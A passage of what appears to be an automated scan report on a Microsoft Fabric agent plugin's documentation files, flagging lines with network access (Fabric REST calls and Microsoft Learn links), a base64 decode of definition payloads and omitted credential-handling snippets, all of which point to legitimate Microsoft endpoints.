    | **Authentication** | Microsoft Entra ID only (no SQL auth) | | **Encryption** | Required (`Encrypt=Yes`) | | **Token audience** | `https://database.windows.net/.default` |
  • Network accessline 50
    | **Token audience** | `https://database.windows.net/.default` |
  • Network accessline 702
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlEndpoints/{sqlEndpointId}/refreshMetadata

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/connections.md

  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 34
    [Credential-related source omitted]
  • Network accessline 42
    **Documentation**: [Credentials utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials)
  • Network accessline 82
    from azure.storage.blob import BlobServiceClient cred = notebookutils.connections.getCredential("{connectionId}") client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])
  • Network accessline 84
    client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/context-and-params.md

  • Network accessline 44
    **Documentation**: [Runtime context](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime)
  • Network accessline 113
    **Documentation**: [Variable library utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/lakehouse-paths.md

  • Network accessline 107
    **Additional Reference:** [Load data in lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/library-mgmt.md

  • Network accessline 5
    > **Public documentation — fetch for detailed guidance:** > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install 
  • Network accessline 6
    > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install (%pip/%conda), pipeline considerations
  • Network accessline 7
    > - [Manage libraries in Fabric environments](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) — built-in libraries, external repositories (PyPI/Conda/Maven/private), custom libraries (.whl/.jar/.tar.gz)
  • Network accessline 8
    > - [Environment public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-public-api) — REST API for environment CRUD, list/upload/delete libraries, publish operations
  • Network accessline 14
    Each Fabric Spark runtime ships with pre-installed Python libraries. The authoritative, version-pinned lists are maintained in the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric) GitHub
  • Network accessline 18
    | Runtime | Spark | Python | Java | Scala | Delta Lake | OS | YAML File | |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-ru
  • Network accessline 19
    |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.
  • Network accessline 20
    | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.yml) |
  • Network accessline 21
    | 1.3 | 3.5.5 | 3.11 | 11 | 2.12.18 | 3.2 | Mariner 2.0 | [`Fabric-Python311-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.3%20(Spark%203.5)/Fabric-Python311-CPU.yml) |
  • Network accessline 22
    | 2.0 | 4.0.1 | 3.12 | 21 | 2.13.16 | 4.0 | Azure Linux 3.0 | [`Fabric-Python313-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%202.0%20(Spark%204.0)/Fabric-Python313-CPU.yml) |
  • Network accessline 24
    > All files are in [`microsoft/synapse-spark-runtime`](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric). Version details from `Components.json` in each runtime folder.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/ml-workflow.md

  • Network accessline 14
    | Topic | Documentation | When to Fetch | |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic lin
  • Network accessline 15
    |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | | Model training overview | [Train ML 
  • Network accessline 16
    | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link |
  • Network accessline 17
    | Model training overview | [Train ML models](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML vs SynapseML vs popular libraries, framework comparison |
  • Network accessline 18
    | MLflow autologging | [Autologging in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog default config, `exclusive=False` for custom logging, disable per-session or workspace-wide |
  • Network accessline 19
    | ML experiments | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | `set_experiment`, `start_run`, `search_runs`, compare runs, tags, inline widget |
  • Network accessline 20
    | ML models | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | `register_model`, model versioning, compare versions, apply models |
  • Network accessline 21
    | MLflow upgrade | [Upgrade ML tracking](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-upgrade) | upgrading workspace ML tracking experience |
  • Network accessline 22
    | Cross-workspace logging | [Cross-workspace MLflow](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-cross-workspace-logging) | log models/experiments across workspaces |
  • Network accessline 26
    | Topic | Documentation | When to Fetch | |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inf
  • Network accessline 27
    |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | | Train 
  • Network accessline 28
    | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` |
  • Network accessline 29
    | Train with PyTorch | [PyTorch + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-pytorch) | CNN training, `mlflow.pytorch.log_model`, load & evaluate |
  • Network accessline 30
    | Train with SparkML | [SparkML tutorial](https://learn.microsoft.com/en-us/fabric/data-science/fabric-sparkml-tutorial) | SparkML pipeline, VectorAssembler, ML pipeline stages |
  • Network accessline 31
    | AutoML with FLAML | [AutoML in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-automated-machine-learning-fabric) | `flaml.AutoML`, Spark parallelization, `to_pandas_on_spark`, time budget |
  • Network accessline 32
    | Low-code AutoML UI | [Low-code AutoML](https://learn.microsoft.com/en-us/fabric/data-science/low-code-automl) | code-free AutoML via UI widget |
  • Network accessline 36
    | Topic | Documentation | When to Fetch | |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support |
  • Network accessline 37
    |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-sci
  • Network accessline 38
    | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support |
  • Network accessline 39
    | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-lightgbm-with-synapseml) | `LightGBMClassifier`, `LightGBMRegressor`, `LightGBMRanker`, feature importance |
  • Network accessline 40
    | First model with SynapseML | [Build a model](https://learn.microsoft.com/en-us/fabric/data-science/synapseml-first-model) | text featurization pipeline, prebuilt models |
  • Network accessline 41
    | Foundry Tools + SynapseML | [Foundry Tools BYOK](https://learn.microsoft.com/en-us/fabric/data-science/ai-services/ai-services-in-synapseml-bring-your-own-key) | vision, speech, language, translation, anomaly detection via SynapseML trans
  • Network accessline 42
    | OpenAI + SynapseML | [Azure OpenAI at scale](https://learn.microsoft.com/en-us/fabric/data-science/open-ai) | distributed LLM prompting with `OpenAICompletion` |
  • Network accessline 46
    | Topic | Documentation | When to Fetch | |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySp
  • Network accessline 47
    |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | | Model endpo
  • Network accessline 48
    | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors |
  • Network accessline 49
    | Model endpoints | [Real-time endpoints](https://learn.microsoft.com/en-us/fabric/data-science/model-endpoints) | activate/deactivate endpoints, auto-sleep, consumption rate, REST API |
  • Network accessline 53
    | Topic | Documentation | When to Fetch | |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT |
  • Network accessline 54
    |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | | Fraud detection | [Fraud detection](https://learn.microsoft.com/e
  • Network accessline 55
    | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT |
  • Network accessline 56
    | Fraud detection | [Fraud detection](https://learn.microsoft.com/en-us/fabric/data-science/fraud-detection) | SMOTE, LightGBM, model registration, batch scoring |
  • Network accessline 57
    | Machine fault detection | [Predictive maintenance](https://learn.microsoft.com/en-us/fabric/data-science/predictive-maintenance) | RF + LogReg + XGBoost, MLflow model comparison |
  • Network accessline 58
    | Sales forecasting | [Sales forecasting](https://learn.microsoft.com/en-us/fabric/data-science/sales-forecasting) | time-series, Prophet, autolog |
  • Network accessline 59
    | Text classification | [Text classification](https://learn.microsoft.com/en-us/fabric/data-science/title-genre-classification) | Word2Vec, cross-validation, Spark ML pipeline |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/notebook-resources.md

  • Network accessline 76
    **Documentation**: [Notebook resources](https://learn.microsoft.com/en-us/fabric/data-engineering/how-to-use-notebook#notebook-resources)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/troubleshooting.md

  • Network accessline 5
    > **Public documentation (for user reference, not agent-actionable):** > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, 
  • Network accessline 6
    > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, log levels, custom formatters

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md

  • Network accessline 79
    - Select exactly one mode from the table above before doing anything else. - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no
  • Network accessline 80
    - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no Fabric call, does not need it yet. - Pass `--resource https://api.fabric.m
  • Network accessline 81
    - Pass `--resource https://api.fabric.microsoft.com` on every `az rest` call — without it the token audience is wrong and the call returns 401.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring.md

  • Network accessline 13
    | Long-Running Operations (LRO) | [COMMON-CORE.md § Long-Running Operations (LRO)](../../../common/COMMON-CORE.md#long-running-operations-lro) | Create, getDefinition, updateDefinition may return 202 | | Fabric Item Definitions | [ITEM-DEFI
  • Network accessline 14
    | Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64-encoded parts structure | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric
  • Network accessline 15
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 49
    with open('update-body.json', 'w', encoding='utf-8') as f:     f.write(body) # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json
  • Network accessline 51
    # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json
  • Possible obfuscationline 57
    entities = json.loads(base64.b64decode(part['payload']).decode('utf-8'))
  • Network accessline 94
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 95
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 283
    - **Confirm a real source before authoring** -- follow the [Source Validation Gate](#source-validation-gate): resolve the source in the requested workspace, validate the requested signal column/field, and observe at least one representative
  • Network accessline 284
    - **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` — without it, token audience is wrong

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring/powerbi-source.md

  • Network accessline 165
    az rest --method POST \      --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \
  • Network accessline 166
    --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \
  • Network accessline 167
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 175
    az rest --method POST \      --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \
  • Network accessline 176
    --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \
  • Network accessline 177
    --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/consumption.md

  • Network accessline 15
    | Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64 payload structure | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../.
  • Network accessline 16
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest]
  • Network accessline 17
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 52
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 53
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 54
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 65
    NEXT_URL="https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes"
  • Network accessline 67
    RESPONSE=$(az rest --method GET      --url "$NEXT_URL"      --resource "https://api.fabric.microsoft.com")
  • Network accessline 69
    --resource "https://api.fabric.microsoft.com")
  • Network accessline 78
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \
  • Network accessline 79
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \
  • Network accessline 80
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \
  • Network accessline 91
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 104
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 105
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 116
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 117
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 270
    - **Always use `--resource https://api.fabric.microsoft.com`** with `az rest`
  • Network accessline 301
    # Step 1: List activators az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 302
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes"
  • Network accessline 303
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 304
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 307
    # Step 2: For a specific activator, get and decode its definition az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 308
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition"
  • Network accessline 309
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 310
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 321
    # Decode definition and extract rule details az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 322
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition"
  • Network accessline 323
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 324
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 356
    https://api.fabric.microsoft.com/v1/mcp/workspaces/{workspaceId}/reflexes/{activatorId}

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md

  • Network accessline 141
    - Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...` (discovery/read-only only)
  • Network accessline 142
    - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Other documented supported capabilities available to the agent
  • Network accessline 143
    against `https://api.fabric.microsoft.com/...` (discovery/read-only only)
  • Network accessline 146
    **Log Analytics REST API reference (agent-facing).** When the Skill needs to perform or validate Azure Log Analytics operations, it may consult the official [Log Analytics REST APIs](https://learn.microsoft.com/en-us/rest/api/loganalytics/)
  • Network accessline 157
    5. **Fabric REST read-only discovery via authenticated `az rest --method get`** —    a narrow, permitted exception used ONLY for Fabric discovery/read against    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,
  • Network accessline 158
    a narrow, permitted exception used ONLY for Fabric discovery/read against    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,    updates, deletes, or modifies anything, and never exposes tokens, secrets,
  • Network accessline 159
    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,
  • Network accessline 313
    - The endpoint is `https://api.fabric.microsoft.com/...`.
  • Network accessline 329
    - `GET https://api.fabric.microsoft.com/v1/workspaces/{id}` (detect), and
  • Network accessline 330
    - `POST https://api.fabric.microsoft.com/v1/workspaces/{id}/provisionIdentity`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/azmon-fabric-api-reference.md

  • Network accessline 46
    - Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...`
  • Network accessline 48
    against `https://api.fabric.microsoft.com/...`
  • Network accessline 58
    - Endpoint is `https://api.fabric.microsoft.com/...`.
  • Network accessline 94
    - **List connections** (detection): `GET https://api.fabric.microsoft.com/v1/connections`
  • Network accessline 98
    (`ServicePrincipal` for Mode A, `OAuth2` for Mode B). Returns only connections   the caller holds a role on.   [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 99
    the caller holds a role on.   [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`.
  • Network accessline 100
    [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 101
    - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`.
  • Network accessline 102
    [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection)
  • Network accessline 103
    - **Discover the exact connector shape** (authoritative — resolves the Azure   Monitor `type`, `creationMethod`, and required `parameters` instead of guessing):   `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes
  • Network accessline 104
    Monitor `type`, `creationMethod`, and required `parameters` instead of guessing):   `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`   — each entry gives `type`, `creationMethods[].n
  • Network accessline 105
    `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`
  • Network accessline 108
    `supportedCredentialTypes`. Find the Azure Monitor / Log Analytics entry and use   its returned `type` + `creationMethod` + `parameters` **verbatim**.   [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/cor
  • Network accessline 109
    its returned `type` + `creationMethod` + `parameters` **verbatim**.   [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - **Create a connection** (Service P
  • Network accessline 110
    [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types)
  • Network accessline 111
    - **Create a connection** (Service Principal / Mode A):   `POST https://api.fabric.microsoft.com/v1/connections` with this documented   skeleton — fill `type` / `creationMethod` / `parameters` from the
  • Network accessline 112
    `POST https://api.fabric.microsoft.com/v1/connections` with this documented
  • Network accessline 143
    or a `servicePrincipalSecret` supplied from an env var — **never** pasted into   chat, logged, or echoed.   [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 145
    [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 244
    Actions, Fabric / OneLake / Power BI execution capabilities, authenticated   Fabric REST read-only discovery via `az rest --method get` against   `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,
  • Network accessline 245
    Fabric REST read-only discovery via `az rest --method get` against   `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,   no secret/token/header exposure, capability path stated), or any other
  • Network accessline 246
    `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,
  • Network accessline 271
    - [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items)
  • Network accessline 272
    - [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition)
  • Network accessline 273
    - [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery)
  • Network accessline 274
    - [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring)
  • Network accessline 275
    - [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/dashboard-reference.md

  • Network accessline 42
    The Microsoft Learn [KQL dashboard definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/kql-dashboard-definition)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/eventhouse-shortcuts-reference.md

  • Network accessline 131
    Query acceleration is a [policy on external delta tables](https://learn.microsoft.com/en-us/kusto/management/query-acceleration-policy?view=microsoft-fabric)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/mirrored-catalog-reference.md

  • Network accessline 42
    - [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items)
  • Network accessline 50
    - [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition)
  • Network accessline 71
    - [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery)
  • Network accessline 92
    - [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring)
  • Network accessline 100
    - [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/oauth-connection-reference.md

  • Network accessline 17
    1. A surfaced Fabric REST / Fabric Actions capability, if available.   2. Authenticated Fabric REST read-only discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
  • Network accessline 18
    2. Authenticated Fabric REST read-only discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is      available and permitted under the read-only Fabric REST discovery exception
  • Network accessline 19
    against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/operations-agent-reference.md

  • Network accessline 174
    > OperationsAgent API supports a **User (delegated) identity only** — **service > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsa
  • Network accessline 175
    > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) > — Microsoft Entra supported identities: Us
  • Network accessline 176
    > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent)
  • Network accessline 233
    https://learn.microsoft.com/en-us/fabric/real-time-intelligence/operations-agent
  • Network accessline 239
    https://techcommunity.microsoft.com/blog/analyticsonazure/microsoft-fabric-operations-agent-step-by-step-walkthrough/4512572

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/telemetry-table-reference.md

  • Network accessline 15
    - [Azure Monitor tables for microsoft.insights/components (learn)](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/microsoft-insights-components)
  • Network accessline 16
    - [Azure Monitor Logs table reference](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-discovery-policy-reference.md

  • Network accessline 18
    - Fabric / OneLake / Power BI execution capabilities, if surfaced.    - Authenticated Fabric REST **read-only** discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
  • Network accessline 19
    - Authenticated Fabric REST **read-only** discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is      available and permitted under the read-only Fabric REST discovery exception
  • Network accessline 20
    against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-identity-connection-reference.md

  • Network accessline 16
    Monitor connector. Before proceeding, confirm `WorkspaceIdentity` appears in the Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true
  • Network accessline 17
